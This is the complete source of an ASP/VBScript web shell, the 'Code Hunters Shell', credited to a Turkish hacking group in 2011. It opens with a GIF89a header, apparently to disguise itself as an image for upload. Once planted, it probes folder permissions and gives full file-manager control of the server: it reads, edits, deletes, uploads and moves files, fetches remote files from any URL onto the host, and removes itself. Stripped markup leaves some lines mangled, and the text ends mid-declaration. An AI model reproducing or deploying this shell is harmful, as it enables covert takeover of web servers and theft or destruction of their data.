GIF89;a <%@Language = VbScript CodePage = 1254%> <% ' #### ' ### Code Hunters TIM/Asi_besiktasli Tarafından Cyber-Warrior.Org için yazılmıştır. / 14.07.2011 ' ### Misyon Dahilinde Kullanmanız Dileğiyle... ' #### 'Karakter Kodlaması Session.CodePage=1254 %> Code Hunters Shell



Hakkımızda


<% 'Dosya Yolu Urlden Çekiliyor / karakteri \ karakteri olarak değiştiriliyor Path=Replace(Request.QueryString("Path"),"/","\") islem=Request.QueryString("islem") 'Fso nesnesini oluşturuyoruz. Set Fso=Server.Createobject("Scripting.FileSystemObject") 'Eğer dosyayolu boş ise dosya yolu shellimizin bulunduğu klasöre ayarlanıyor If Path="" Then Path = Server.Mappath("/") ElseIf FSO.FolderExists(Path)=false Then If islem="" Then Path = FSO.GetParentFolderName(path) End If End If 'Code Hunters TIM 2011 If islem="" And Not Right(Path,1)="\" Then Path = Path & "\" End If If islem<>"" Then Dizin = Mid(Path,1,Instrrev(Path,"\")) Else Dizin = Path End If ' Sayfanın Üstünde Sabit Duracak Olan Dizin Formu yazdırılıyor Response.Write("
Bulunduğunuz Dizin Upload | Dosya Arama | Dosya Indir
ROOT(Ana Klasör)")&vbcrlf ' Fso ile Serverdaki Sürücülere Ulaşıyoruz Set Suruculer = FSO.Drives If Not islem="Drivers" Then Response.Write " || Sürücüler: " ' Serverda ki Mevcut Sürücüler Yazdırılıyor For Each Surucu in Suruculer Response.Write (""&Surucu.DriveLetter&":\ ")&vbcrlf Next End If On Error GoTo 0 On Error Resume Next Response.Write(" Klasör izinleri: ") 'Aşağıda önce geçici bir dosya oluşturacaz oluşturabiliyor ise yazma yetkisi var yazacak. Dosyayı okuyabiliyosa okuma yetkisi var yazacak. Dosyayı silebiliyorsa silme yetkisi var yazacak. 'Yazma Yetkisi Set DosyaOlustur = Fso.CreateTextFile(Dizin & "\CodeHunters.txt", True) Set DosyaOlustur = Nothing 'Hata verirse yazma yetkisi yok, Hata vermezse yazma yetkisi var If Err<>0 then Response.Write "Yazma Yetkisi Yok | " Else Response.Write "Yazma Yetkisi Var | " End If ' Eğer Yazma Yetkisinde Hata verirse silme yetkisinde vermemesi için aşağıdaki kodları yazıyoruz On Error GoTo 0 On Error Resume Next 'Okuma Yetkisi 'Dosyayı okumak için açıyoruz 'Hata verirse okuma yetkisi yok, Hata vermezse okuma yetkisi var Set DosyaOku= Fso.OpenTextFile(Dizin & "\CodeHunters.txt") Set DosyaOku=Nothing If Err<>0 then Response.Write "Okuma Yetkisi Yok | " Else Response.Write "Okuma Yetkisi Var | " End If On Error GoTo 0 On Error Resume Next 'Silme Yetkisi 'Oluşturulan Geçici Dosya Siliniyor 'Hata verirse silme yetkisi yok hata vermezse silme yetkisi var Fso.DeleteFile Dizin&"\CodeHunters.txt",true If Err<>0 then Response.Write "Silme Yetkisi Yok " Else Response.Write "Silme Yetkisi Var " End If On Error GoTo 0 On Error Resume Next Response.Write("
")&vbcrlf ' islem Değişkenine Göre Farklı Sayfalar Çıkarılıyor Select Case islem Case "git" 'Dizin formu bu sayfaya yollanıyor. Bu sayfada formdan gelen bilgiye göre kullanıcıyı yönlendiriyor If Len(Request.Form("path"))>0 Then Response.Redirect("?Path="&Request.Form("path")) End If Case "" ' Urlden alınan Path Hazır hale getiriliyor Set Klasor = FSO.GetFolder(Path) ' Dizindeki Alt Klasörler Çekiliyor Set AltKlasorler = Klasor.SubFolders ' Dizindeki Dosyalar Çekiliyor Set Dosyalar = Klasor.Files 'Üst Klasör Varsa Link Ayarlanıyor If Klasor.IsRootFolder = False Then Set UstKlasor = Klasor.ParentFolder Response.Write "
< Üst Klasöre Git" End If Response.Write(" "& Klasor.Path &" | Klasör Oluştur | Dosya Oluştur" & vbCrLf) Response.Write("")%>

<% ' Dizindeki Alt Klasörleri Yazdırıyoruz For Each AltKlasor In AltKlasorler With Response .Write("") & vbCrLf .Write("") & vbCrLf .Write("") End With Next ' Dizindeki Dosyaları Yazdırıyoruz For Each Dosya In Dosyalar With Response .Write "" & vbCrlf .Write "" & vbCrlf .Write "" & vbCrlf .Write "" & vbCrlf .Write "" & vbCrlf .Write "" End With Next Response.Write("
IsimDosya BoyutuTürİşlem
"& AltKlasor.Name &"Dosya KlasörüIsim Değiştir | Taşı | Kopyala | Sil
"&Dosya.name&""& Round(Dosya.Size / 1024) &" KB"& Dosya.Type &"Düzenle | Isim Değiştir | Taşı | Kopyala | Indir | Sil
") ' Driver işlemleri sayfası Case "Drivers" Set Suruculer = FSO.Drives ' Driver ÖZellikleri Dim Drive_Type Drive_Type = Array("Bilinmeyen","Çıkarılabilir Disk","Sabit Disk","Ağ Sürücüsü","CD-ROM","RAM-Disk") Response.Write("")&vbcrlf 'Bütün Driverlerı okumak için döngü kuruluyor For Each Surucu in Suruculer Response.Write ("") Next '--- ' Dosya içeriğini görüntüleme sayfası Case "Read" ' Eğer dosya yoksa hata ver işlemi durdur If FSO.FileExists(Path)= False Then Response.Write("Dosya Bulunamadı") Response.End End If 'Dosyayı hazır hale getiriliyor Set qa = Fso.GetFile(Path) Response.Write("
"&qa.path&" içeriği

") 'Dosya açılıyor Set Ag = qa.OpenAsTextStream(1,0) 'Dosya Boşsa Hata Vermesi Engelleniyor If Ag.AtEndOfStream Then Kod="" Else 'Readall komutuyla dosyanın içeriği okunuyor kod = Server.HTMLEncode(ag.ReadAll) End If ' Readall komutuyla dosya içeriğini çekince düz yazı şeklinde geldiğinden satırlara bölmek için split komutu ile vbcrlf karakteri görülen yerlerden parçalama işlemi yapıyoruz icerik = Split(kod,vbcrlf) 'Split ile parçalanan bölümleri aralarına
ekleyerek satır haline getiriyoruz For x=1 to Ubound(icerik) Response.Write(icerik(x))&"
"&vbcrlf Next Response.Write("
") '--- ' Text, Asp, Php Gibi Uzantılı Yazı Içerikli Dosyaların Içeriğini Düzenleyen Sayfa) Case "Edit" If Request.QueryString("action")=1 Then 'Dosyanın varlığı kontrol ediliyor If FSO.FileExists(Path)= False Then Response.Write("Dosya Bulunamadı") Response.End End If 'Dosya hazır hale getiriliyor Set qa = Fso.GetFile(Path) 'Dosya açılıyor Set Ag = qa.OpenAsTextStream(2,0) 'Dosya içeriğine formdan yollanan yazı yazılıyor Ag.WriteLine(Request.Form("texticerik")) Response.Write(qa.Name&" Kayıt Edildi") Ag.Close Else 'Dosyanın varlığı kontrole ediliyor If FSO.FileExists(Path)= False Then Response.Write("Dosya Bulunamadı") Response.End End If 'Dosya hazır hale getiriliyor Set qa = Fso.GetFile(Path) Response.Write("
"&qa.Name&" içeriği
") 'Dosya açılıyor Set Ag = qa.OpenAsTextStream(1,0) 'Dosya Boşsa Hata vermesi Engelleniyor If Ag.AtEndOfStream Then Kod="" Else 'Dosya içeriği okunuyor kod değişkenine aktarılıyor Kod = Server.HTMLEncode(ag.ReadAll) End If Ag.Close Response.Write("
") End If 'Dosya Ismi Değiştirme Sayfası Case "FileRename" If Request.QueryString("action")=1 Then NewName=Request.Form("NewName") 'Dosya hazır hale getiriliyor Set FileRename = FSO.GetFile(Path) ' Dosyaya Yeni isim veriliyor FileRename.Name=Trim(NewName) Response.Write("
Dosya ismi "&Trim(NewName)&" Olarak Değiştirildi") Else oldname=Mid(Path,Instrrev(path,"\")+1,Len(path)) Response.Write("

Sürücüler: 		")&vbcrlf Response.Write("")&vbcrlf Response.Write("")&vbcrlf toplamalan = (Surucu.TotalSize / 1048576) bosalan = (Surucu.AvailableSpace / 1048576) Response.Write("") Response.Write("")&vbcrlf Response.Write("")&vbcrlf End If Response.Write("
"&Surucu.DriveLetter&":\
"&Drive_Type(Surucu.DriveType))&vbcrlf 'Eğer sürücü hazırsa işlemleri yap If Surucu.isready Then Response.Write(" ("&Surucu.VolumeName&")
Dosya Sistemi: "&Surucu.FileSystem&"
%"&(100-int(bosalan/toplamalan*100))&"
Toplam Kapasite: "&Round(toplamalan,1) & " MB
Boş Alan: "&Round(bosalan,1) & " MB
Mevcut Isim: "&oldname&"
Yeni isim:
") End If 'Klasör Ismi Değiştirme Sayfası Case "FolderRename" If Request.QueryString("action")=1 Then NewName=Request.Form("NewName") 'Klasör hazır hale getiriliyor Set FolderRename = FSO.GetFolder(Path) 'Klasöre yeni isim veriliyor FolderRename.Name=Trim(NewName) Response.Write("
Dosya ismi "&Trim(NewName)&" Olarak Değiştirildi") Else oldname=Mid(Path,Instrrev(Left(path,Len(Path)-1),"\")+1,Len(path)) Response.Write("
Mevcut Isim: "&oldname&"
Yeni isim:
") End If 'Klasör Taşıma Sayfası Case "FolderMove" 'Klasörün varlığı kontrol ediliyor If FSO.FolderExists(Path)=False Then Response.Write("
Klasör Bulunamadı") Response.End End If If Request.QueryString("action")=1 Then Set KlasorTasi = FSO.GetFolder(Path) Hedef=Request.Form("hedef") 'Klasör Taşınıyor KlasorTasi.Move Hedef Response.Write "Klasör "& Hedef & " Dizinine Taşındı" Else Response.Write Path&" Klasörünü Taşı

Taşınacak Dizin:
" End If 'Klasör Kopyalama Sayfası Case "FolderCopy" 'Dosyanın varlığı kkontrol ediliyor If FSO.FolderExists(Path)=False Then Response.Write("
Klasör Bulunamadı") Response.End End If If Request.QueryString("action")=1 Then 'Dosya hazır hale getiriliyor Set KlasorKopyala = FSO.GetFolder(Path) Hedef=Request.Form("hedef") 'Dosya kopyalanıyor KlasorKopyala.Copy Hedef Response.Write "Klasör "& Hedef & " Dizinine Kopyalandı" Else Response.Write "
Kopyalanacak Dizin:
" End If ' 'Dosya Kopyalama Sayfası Case "FileCopy" If FSO.FileExists(Path)=False Then Response.Write("
Dosya Bulunamadı") Response.End End If Set DosyaTasi = FSO.GetFile(Path) If Request.QueryString("action")=1 Then Set DosyaKopyala = FSO.GetFile(Path) Hedef=Request.Form("hedef") DosyaKopyala.Copy Hedef Response.Write "Dosya "& Hedef & " Dizinine Kopyalandı" Else Response.Write "
Kopyalanacak Dizin:
" End If 'Dosya Taşıma Sayfası Case "FileMove" 'Dosyanın varlığı kontrol ediliyor If FSO.FileExists(Path)=False Then Response.Write("
Dosya Bulunamadı") Response.End End If 'Dosya kullanım için hazır hale getiriliyor Set DosyaTasi = FSO.GetFile(Path) If Request.QueryString("action")=1 Then Hedef=Request.Form("hedef") 'Dosya taşınıyor DosyaTasi.Move Hedef Response.Write "Dosya "& Hedef & " Dizinine Taşındı" Else Response.Write Path&" Dosyasını Taşı

Taşınacak Dizin:
" End If 'Dosya Silme Sayfası Case "FileDelete" 'Dosyanın varlığı kontrol ediliyor If FSO.FileExists(Path)=False Then Response.Write("
Dosya Bulunamadı") Response.End End If 'Dosya kullanıma hazır hale getiriliyor Set DosyaSil = FSO.GetFile(Path) If Request.QueryString("action")=1 Then 'Dosya siliniyor DosyaSil.Delete Response.Write "Dosya Silindi.

Geri Dön" Else Response.Write(""&Path&"
Dosyasını Gerçekten Silmek Istiyor musunuz? Sil ") End If 'Klasör Silme Sayfası Case "FolderDelete" 'Klasörün varlığı kontrol ediliyor If FSO.FolderExists(Path)=False Then Response.Write("
Klasör Bulunamadı") Response.End End If 'Klasör hazır hale getiriliyor Set KlasorSil = FSO.GetFolder(Path) If Request.QueryString("action")=1 Then 'Klasör siliniyor KlasorSil.Delete Response.Write "Klasör Silindi.

Geri Dön" Else Response.Write(""&Path&"
Klasörünü ve Içindeki Dosyaları Gerçekten Silmek Istiyor musunuz? Sil ") End If ' Klasör Oluşturma Sayfası Case "CreateFolder" If Request.QueryString("action")=1 Then 'Dosya oluşturuluyor Fso.CreateFolder Path&"\"&Trim(Request.Form("foldername")) Response.Write(Path&"\"&Trim(Request.Form("foldername"))&" Klasörü oluşturuldu") Else Response.Write("
Klasör adı:
") End If ' Dosya Oluşturma Sayfası Case "CreateFile" If Request.QueryString("action")=1 Then DosyaAdi = Request.Form("filename") 'Klasörü Belirtiyoruz Set Klasor = FSO.GetFolder(Path) 'Dosyayı Oluşturuyoruz Set DosyaOlustur = Klasor.CreateTextFile(DosyaAdi) 'Dosya içeriğini Yazdıyoruz DosyaOlustur.Write(Request.Form("icerik")) Response.Write(Path&"\"&DosyaAdi&" Dosyası Oluşturuldu") DosyaOlustur.Close Set DosyaOlustur = Nothing Else Response.Write("
Dosya adı ve uzantısı:

") End If 'upload İşlemleri Case "Upload" Response.Buffer = True Response.Expires = 0 Dim oFO, oProps, oFile, i, item, oMyName Set oFO = New FileUpload Set oProps = oFO.GetUploadSettings with oProps .UploadDirectory = Path ' dosyanın yükleneceği yer .AllowOverWrite = true End with Set oProps = Nothing oFO.ProcessUpload If oFO.TotalFormCount > 0 Then If oFO.FileCount > 0 Then for i = 1 to oFO.FileCount Set oFile = oFO.File(i) If oFile.ErrorMessage <> "" Then Response.Write "> HATA: " & _ oFile.ErrorMessage & "
" Else oFile.SaveAsFile If oFile.UploadSuccessful Then Response.Write "> Basariyla Yüklendi
" Response.Write(" - Dosyanin su an bulunduğu URL:"& oFile.URLPath & "
") Response.Write(" - Dosya tipi: " & oFile.ContentType & "
") Response.Write(" - Dosya ismi: " & oFile.FileName & "
") Response.Write(" - Dosya boyutu: " & _ round(formatnumber(oFile.ByteCount, 0)/1024,2) & " KByte
") Else Response.Write "> Dosyayı yüklerken hata oluştu: " & _ oFile.ErrorMessage & "
" End If End If Set oFile = Nothing next Else Response.Write "> Daha önceden bu dosya ile ayni boyutta dosya yüklenmis. Bu durumda ayni dosyayi yüklüyor olabilirsiniz. Eger farkli bir dosya olduguna eminseniz; Dosya boyutunu büyültmek için küçük bir text dosyasini doldurarak zip'li dosyaya ekleyiniz." End If Response.Write "

Tekrar Yükle" Else oFO.ShowUploadForm End If Set oFO = Nothing 'Dosya Arama Case "Search" Server.ScriptTimeOut=99999 If Request.QueryString("action")="1" Then Search=Request.Form("Search") Response.Write "" Sub DosyaAra(KlasorYolu) Set DosyaAraKlasor = Fso.GetFolder(KlasorYolu) Set SearchSubFolders = DosyaAraKlasor.SubFolders Set SearchFiles = DosyaAraKlasor.Files For Each Dosyax In SearchFiles If Instr(Dosyax.Name,Search)>0 Then Response.Write "" End If Next For Each AltKla In SearchSubFolders If Instr(lcase(AltKla.Name),lcase(Search))>0 Then Response.Write "" End If DosyaAra AltKla.Path Next End Sub DosyaAra Path Else Response.Write "Aranacak Dizin: "&Path&"

Dosya Adını Veya Uzantısını Yazın Dosyanın indirileceği dizin: "&Path&"

Dosya url: ") Else Set XmlHttp = Server.CreateObject("MSXML2.ServerXMLHTTP") XmlHttp.Open "GET", Url, False XmlHttp.Send IndirilenDosya=XmlHttp.ResponseBody Set BinaryStream = Server.CreateObject("ADODB.Stream") BinaryStream.Type = 1 BinaryStream.Open BinaryStream.Write IndirilenDosya BinaryStream.SaveToFile Path&"\"&Right(Url,(len(Url)-instrrev(Url,"/"))), 2 Set XmlHttp = Nothing Set BinaryStream = Nothing Response.Write " Dosya "& Path&"\"&Right(Url,(len(Url)-instrrev(Url,"/"))) &" klasörüne indirildi." End If Case "ShellDelete" FileName=Request.ServerVariables("SCRIPT_NAME") Fso.DeleteFile Server.Mappath("\")&Replace(FileName,"/","\") Response.Write("Shell Silindi...") End Select If Err.number<>0 Then Response.Write("

"&Err.description&"") End If %>



Code Hunters Shelli Serverdan Sil

Code Hunters TIM © 2011
<% 'Uplaod Sınıfı Başlangıç Class FileUpload Private UploadRequest, oProps, iFrmCt Private iKnownFileCount, iKnownFormCount Private oOutFiles 'Class başlatılınca çalışacak sub Private Sub Class_Initialize iFrmCt = 0 Set oProps = New FO_Properties Set UploadRequest = Server.CreateObject("Scripting.Dictionary") iKnownFileCount = 0 iKnownFormCount = 0 Set oOutFiles = Server.CreateObject("Scripting.Dictionary") End Sub 'Class bitişinde çalıştıralacak sub Private Sub Class_Terminate Set oOutFiles = Nothing Set UploadRequest = Nothing Set oProps = Nothing End Sub Public Function GetUploadSettings() Set GetUploadSettings = oProps End Function Public Property Get FormCount FormCount = iKnownFormCount End Property Public Property Get FileCount FileCount = iKnownFileCount End Property Public Property Get TotalFormCount TotalFormCount = iFrmCt End Property 'form şifreleme ayarları Private Function GetFormEncType() Dim sContType, hCutOff 'Içerik ayarı yapılıyor sContType = Request.ServerVariables("CONTENT_TYPE") hCutOff = instr(sContType, ";") If hCutOff > 0 Then sContType = UCase(Trim(Left(sContType, hCutOff - 1))) Else sContType = UCase(Trim(sContType)) End If GetFormEncType = sContType End Function Public Default Sub ProcessUpload Dim RequestBin, oProcess, iTotBytes, key, arr, iKnownProps, oFile Dim fofilecheck, sEncType, sReqMeth 'Dosya Boyutu alınıyor iTotBytes = Request.TotalBytes If iTotBytes = 0 Then iFrmCt = 0 exit sub End If 'Request.BinaryRead ile yollanan dosyanın binary kodları okunuyor RequestBin = Request.BinaryRead(iTotBytes) sReqMeth = Request.ServerVariables("REQUEST_METHOD") Select Case UCase(sReqMeth) Case "POST" sEncType = GetFormEncType Select Case sEncType Case "MULTIPART/FORM-DATA" Set oProcess = New FO_Processor oProcess.BuildUploadRequest RequestBin, UploadRequest Set oProcess = Nothing Case "APPLICATION/X-WWW-FORM-URLENCODED" Set oProcess = New FO_Processor oProcess.BuildUploadRequest_ASCII oProcess.getString(RequestBin), UploadRequest Set oProcess = Nothing End Select End Select arr = uploadrequest.keys If Not isarray(arr) Then iFrmCt = 0 Exit Sub End If iFrmCt = ubound(arr) For Each key In arr If isobject(uploadrequest.item(key)) Then iKnownProps = ubound(uploadrequest.item(key).keys) + 1 If iKnownProps = 4 Then iKnownFileCount = iKnownFileCount + 1 Set fofilecheck = new FO_FileChecker 'Dosya ismi, input değeri gibi bilgiler formdan çekiliyor fofilecheck.SetCurrentProperties oProps fofilecheck.FileInput_NamePath = uploadrequest.item(key).item("FileName") fofilecheck.FileInput_ContentType = uploadrequest.item(key).item("ContentType") fofilecheck.FileInput_BinaryText = uploadrequest.item(key).item("Value") fofilecheck.FileInput_FormInputName = uploadrequest.item(key).item("InputName") Set oFile = fofilecheck.ValidateVerifyReturnFile() Set fofilecheck = Nothing oOutFiles.add iKnownFileCount, oFile Set oFile = Nothing uploadrequest.remove key ElseIf iKnownProps = 2 Then iKnownFormCount = iKnownFormCount + 1 Else End If End If next End Sub Public Function File(ByVal blobName) Dim blobs, blob, subdict, tmpName blobs = oOutFiles.Keys For Each blob In blobs Set subdict = oOutFiles.Item(blob) tmpName = subdict.frmInputName If UCase(Trim(tmpName)) = UCase(Trim(blobName)) Then blobName = blob Exit For End If Next If isobject(oOutFiles.Item(blobName)) Then Set File = oOutFiles.Item(blobName) Else Set File = Nothing End If End Function Public Function Form(ByVal inputName) If isobject(UploadRequest.Item(inputName)) Then Form = UploadRequest.Item(inputName).Item("Value") Else Form = "" End If End Function Public Function FormLen(ByVal inputName) If isobject(UploadRequest.Item(inputName)) Then FormLen = Len(UploadRequest.Item(inputName).Item("Value")) Else FormLen = 0 End If End Function Public Function FormEx(ByVal inputName, ByVal vDefaultValue) dim vTmp If isobject(UploadRequest.Item(inputName)) Then vTmp = UploadRequest.Item(inputName).Item("Value") If len(trim(CStr(vTmp))) = 0 Then FormEx = vDefaultValue Exit Function End If FormEx = vTmp Exit Function End If FormEx = vDefaultValue End Function Public Function Inputs() If isobject(UploadRequest) Then Inputs = UploadRequest.keys Else Inputs = "" End If End Function Public Sub ShowUploadForm() Dim tmp, item With Response .Write("Dosyanın Yükleneceği Yol: "&Path&"" & vbCrLf) .Write("Lütfen bir dosya seçin:


" & vbCrLf) .Write("" & vbCrLf) .Write("" & vbCrLf) .Write("" & vbCrLf) End With End Sub End Class Class FO_FileChecker Private oProps, sFileName, hFileBinLen, sFileBin, sFileContentType, sFileFormInputName 'Class başlangıçında çalıştırakacak kod Private Sub Class_Initialize() sFileName = "" hFileBinLen = 0 sFileBin = "" sFileContentType = "" End Sub Public Sub SetCurrentProperties(byref oPropertybag) Set oProps = oPropertybag End Sub Public Property Let FileInput_FormInputName(ByVal fname) sFileFormInputName = fname End Property Public Property Let FileInput_NamePath(ByVal fname) Dim realfilename realfilename = Right(fname, Len(fname) - InstrRev(fname,"\")) sFileName = trim(realfilename) End Property Public Property Let FileInput_ContentType(ByVal conttype) sFileContentType = conttype End Property Public Property Let FileInput_BinaryText(ByVal binstring) Dim binlen binlen = lenb(binstring) hFileBinLen = binlen sFileBin = binstring End Property Public Function ValidateVerifyReturnFile() If IllegalCharsFound Then Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "dosya adında geçersiz karakter bulunamaz", "", "", "", sFileFormInputName) Exit Function End If If FileNameBadOrExists Then Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "bir dosya seçmediniz ya da seçtiğiniz dosya yolu yanlış; bir diğer olasılık seçtiğiniz dosya zaten yüklü", "", "", "", sFileFormInputName) Exit Function End If Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "", sFileContentType, sFileName, sFileBin, sFileFormInputName) End Function Private Function FillFOFileObj(byval success, byval abspath, byval virpath, byval stderr, byval contenttype, byval fname, byval binarytext, byval forminputname) Dim oFile Set oFile = New FO_File oFile.SetCurrentProperties oProps oFile.bSuccess = success oFile.sAbsPath = abspath oFile.sVirPath = virpath oFile.sStdErr = stderr oFile.sCType = contenttype oFile.sFileName = fname oFile.binValue = binarytext oFile.frmInputName = forminputname Set FillFOFileObj = oFile End Function Public Function IllegalCharsFound() Dim re ' Regexp ile karakterleri içeriği kontrol ediliyor istemeyen karakter görülürse hata veriyor Set re = new regexp re.pattern = "\\\/\:\*\?\""\<\>\|" re.global = true re.ignorecase = true If re.test(sFileName) Then IllegalCharsFound = true Else IllegalCharsFound = false End If Set re = Nothing End Function 'Dosya ismi kontrol ediliyor Public Function FileNameBadOrExists() Dim absuploaddirectory, oFSO If len(trim(sFileName)) = 0 Then FileNameBadOrExists = true Exit Function End If If oProps.AllowOverWrite Then FileNameBadOrExists = false Exit Function End If absuploaddirectory = oProps.uploaddirectory & "\" & trim(sFileName) Set oFSO = server.createobject("Scripting.FileSystemObject") If oFSO.FileExists(absuploaddirectory) Then FileNameBadOrExists = true Else FileNameBadOrExists = false End If Set oFSO = Nothing End Function End Class Class FO_Processor Private Function getByteString(byval StringStr) dim char, i For i = 1 to Len(StringStr) char = Mid(StringStr, i, 1) getByteString = getByteString & chrB(AscB(char)) Next End Function Public Function getString(byval StringBin) dim intCount getString ="" For intCount = 1 to LenB(StringBin) getString = getString & chr(AscB(MidB(StringBin, intCount, 1))) Next End Function Public Sub BuildUploadRequest_ASCII(ByVal sPostStr, ByRef UploadRequest) dim i, j, blast, sName, vValue dim tmphash blast = false i = -1 do while i <> 0 If i = -1 Then i = 1 Else i = i + 1 End If j = instr(i, sPostStr, "=") + 1 sName = mid(sPostStr, i, j-i-1) i = instr(j, sPostStr, "&") If i = 0 Then vValue = mid(sPostStr, j) Else vValue = mid(sPostStr, j, i - j) End If Dim uploadcontrol Set uploadcontrol = createobject("Scripting.Dictionary") uploadcontrol.add "Value", vValue If not uploadrequest.exists(sName) Then uploadrequest.add sName, uploadcontrol Else Set tmphash = uploadrequest(sName) tmphash("Value") = tmphash("Value") & ", " & vValue Set uploadrequest(sName) = tmphash End If loop End Sub Public Sub BuildUploadRequest(byref RequestBin, byref UploadRequest) dim PosBeg, PosEnd, boundary, boundaryPos, Pos, Name, PosFile dim PosBound, FileName, ContentType, Value, sEncType, sReqMeth dim tmphash, isfile If lenb(RequestBin) = 0 Then exit sub End If PosBeg = 1 PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(13))) If posend = 0 Then BuildUploadRequest_ASCII getString(requestbin), UploadRequest Exit Sub End If boundary = MidB(RequestBin,PosBeg,PosEnd-PosBeg) boundaryPos = InstrB(1,RequestBin,boundary) Do until (boundaryPos=InstrB(RequestBin,boundary & getByteString("--"))) Dim UploadControl Set UploadControl = Server.CreateObject("Scripting.Dictionary") Pos = InstrB(BoundaryPos,RequestBin,getByteString("Content-Disposition")) Pos = InstrB(Pos,RequestBin,getByteString("name=")) PosBeg = Pos+6 PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(34))) Name = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg)) PosFile = InstrB(BoundaryPos,RequestBin,getByteString("filename=")) PosBound = InstrB(PosEnd,RequestBin,boundary) isfile = false If PosFile<>0 AND (PosFile "" Then exit sub End If WriteUploadFile oProps.uploaddirectory & "\" & sFileName, binValue End Sub Public Function SaveAsBinaryString() If LenB(binValue) = 0 Then bBtCt = 0 bSuccess = false Exit Function End If If oProps.UploadDisabled Then bBtCt = 0 bSuccess = false sStdErr = "Yükleme Sayfa Yönetimi Tarafından Engellendi" Exit Function End If SaveAsBinaryString = binValue hBtCt = lenb(binValue) bSuccess = true End Function Public Function SaveAsString() Dim outstr, i If LenB(binValue) = 0 Then bBtCt = 0 bSuccess = false Exit Function End If If oProps.UploadDisabled Then bBtCt = 0 bSuccess = false sStdErr = "Yükleme Sayfa Yönetimi Tarafından Engellendi" Exit Function End If outstr = "" For i = 1 to LenB( binValue ) outstr = outstr & chr( AscB( MidB( binValue, i, 1) ) ) Next SaveAsString = outstr hBtCt = lenb(binValue) bSuccess = true End Function Public Function SaveAsBase64EncodedStr() Dim outstr, oEnc If LenB(binValue) = 0 Then bBtCt = 0 bSuccess = false Exit Function End If If oProps.UploadDisabled Then bBtCt = 0 bSuccess = false sStdErr = "Yükleme Sayfa Yönetimi Tarafından Engellendi" Exit Function End If Set oEnc = New Base64Encoder outstr = oEnc.EncodeStr(binValue) Set oEnc = Nothing SaveAsBase64EncodedStr = outstr hBtCt = lenb(binValue) bSuccess = true End Function Private Sub WriteUploadFile(byVal NAME, byVal CONTENTS) dim ScriptObject, i, NewFile on error resume next Set ScriptObject = Server.CreateObject("Scripting.FileSystemObject") Set NewFile = ScriptObject.CreateTextFile( NAME ) For i = 1 to LenB( CONTENTS ) NewFile.Write chr( AscB( MidB( CONTENTS, i, 1) ) ) Next NewFile.Close Set NewFile = Nothing Set ScriptObject = Nothing If err.number <> 0 Then sStdErr = Err.Description bSuccess = false Else sAbsPath = NAME sVirPath = UnMappath(NAME) hBtCt = lenb(CONTENTS) sURiPath = "http://" & Request.ServerVariables("HTTP_HOST") & sVirPath bSuccess = true End If on error goto 0 End Sub Private Function UnMappath(byVal pathname) dim tmp, strRoot strRoot = Server.Mappath("/") tmp = replace( lcase( pathname ), lcase( strRoot ), "" ) tmp = replace( tmp, "\", "/" ) UnMappath = tmp End Function Public Property Get ContentType() ContentType = sCType End Property Public Property Let FileName(byval newfilename) Dim oFileChk Set oFileChk = New FO_FileChecker oFileChk.SetCurrentProperties oProps oFileChk.FileInput_NamePath = newfilename If oFileChk.IllegalCharsFound Then sStdErr = "Dosya içerisinde geçersiz karakterler bulundu" bSuccess = false Set oFileChk = Nothing Exit Property End If If oFileChk.FileNameBadOrExists Then sStdErr = "Dosya ismi geçersiz ya da bu dosyadan zaten mevcut ve üstüne yazma engellenmiş" bSuccess = false Set oFileChk = Nothing Exit Property End If Set oFileChk = Nothing sStdErr = "" sFileName = newfilename End Property Public Function GetFileNameFromFilePath(ByVal filewithpath) dim fileend fileend = instrrev(filewithpath, "\") GetFileNameFromFilePath = right(filewithpath, len(filewithpath) - fileend) End Function Public Property Get FileName() FileName = sFileName End Property Public Property Get UploadSuccessful() UploadSuccessful = bSuccess End Property Public Property Get AbsolutePath() AbsolutePath = sAbsPath End Property Public Property Get URLPath() URLPath = sURiPath End Property Public Property Get VirtualPath() VirtualPath = sVirPath End Property Public Property Get ErrorMessage() ErrorMessage = sStdErr End Property Public Property Get ByteCount() ByteCount = hBtCt End Property End Class Class FO_Properties Private sErrHead Private sErrMsg Private arrExt Private strUploadDir Private boolAllowOverwrite Private lngUploadSize Private bMin Private bByPass Private Sub Class_Initialize() sErrHead = "Yanlış Kurulum Hatası" sErrMsg = "" strUploadDir = Server.Mappath("/") boolAllowOverwrite = false bByPass = false End Sub Public Sub ResetAll() Class_Initialize End Sub Public Property LET UploadDirectory(byVal strInput) Dim oFSO, bDoesntExist bDoesntExist = false If instr(strInput, "/") <> 0 Then strInput = "" Err.Raise 21342, sErrHead, _ "Veri yolu tam olarak girilmeli." exit property End If Set oFSO = CreateObject("Scripting.FileSystemObject") If not oFSO.FolderExists(strInput) Then bDoesntExist = true Set oFSO = Nothing If bDoesntExist Then Err.Raise 21343, sErrHead, "HATA - """ & _ strInput & """ Bu dosya serverda bulunmamaktadır." Exit Property End If strUploadDir = strInput End Property Public Property LET AllowOverWrite(byVal boolInput) on error resume next boolInput = cbool(boolInput) on error goto 0 boolAllowOverwrite = boolInput End Property Public Property GET UploadDirectory() UploadDirectory = strUploadDir End Property Public Property GET AllowOverWrite() AllowOverWrite = boolAllowOverwrite End Property End Class 'Base64 kod şifreleyici class Class Base64Encoder Private Base64Chars Private Sub Class_Initialize() Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" & _ "abcdefghijklmnopqrstuvwxyz" & _ "0123456789" & _ "+/" End Sub Public Function EncodeStr(byVal strIn) Dim c1, c2, c3, w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 3 c1 = Asc(Mid(strIn, n, 1)) c2 = Asc(Mid(strIn, n + 1, 1) + Chr(0)) c3 = Asc(Mid(strIn, n + 2, 1) + Chr(0)) w1 = Int(c1 / 4) : w2 = (c1 And 3) * 16 + Int(c2 / 16) If Len(strIn) >= n + 1 Then w3 = (c2 And 15) * 4 + Int(c3 / 64) Else w3 = -1 End If If Len(strIn) >= n + 2 Then w4 = c3 And 63 Else w4 = -1 End If strOut = strOut + mimeencode(w1) + mimeencode(w2) + _ mimeencode(w3) + mimeencode(w4) Next EncodeStr = strOut End Function Private Function mimedecode(byVal strIn) If Len(strIn) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr(Base64Chars, strIn) - 1 End If End Function Public Function 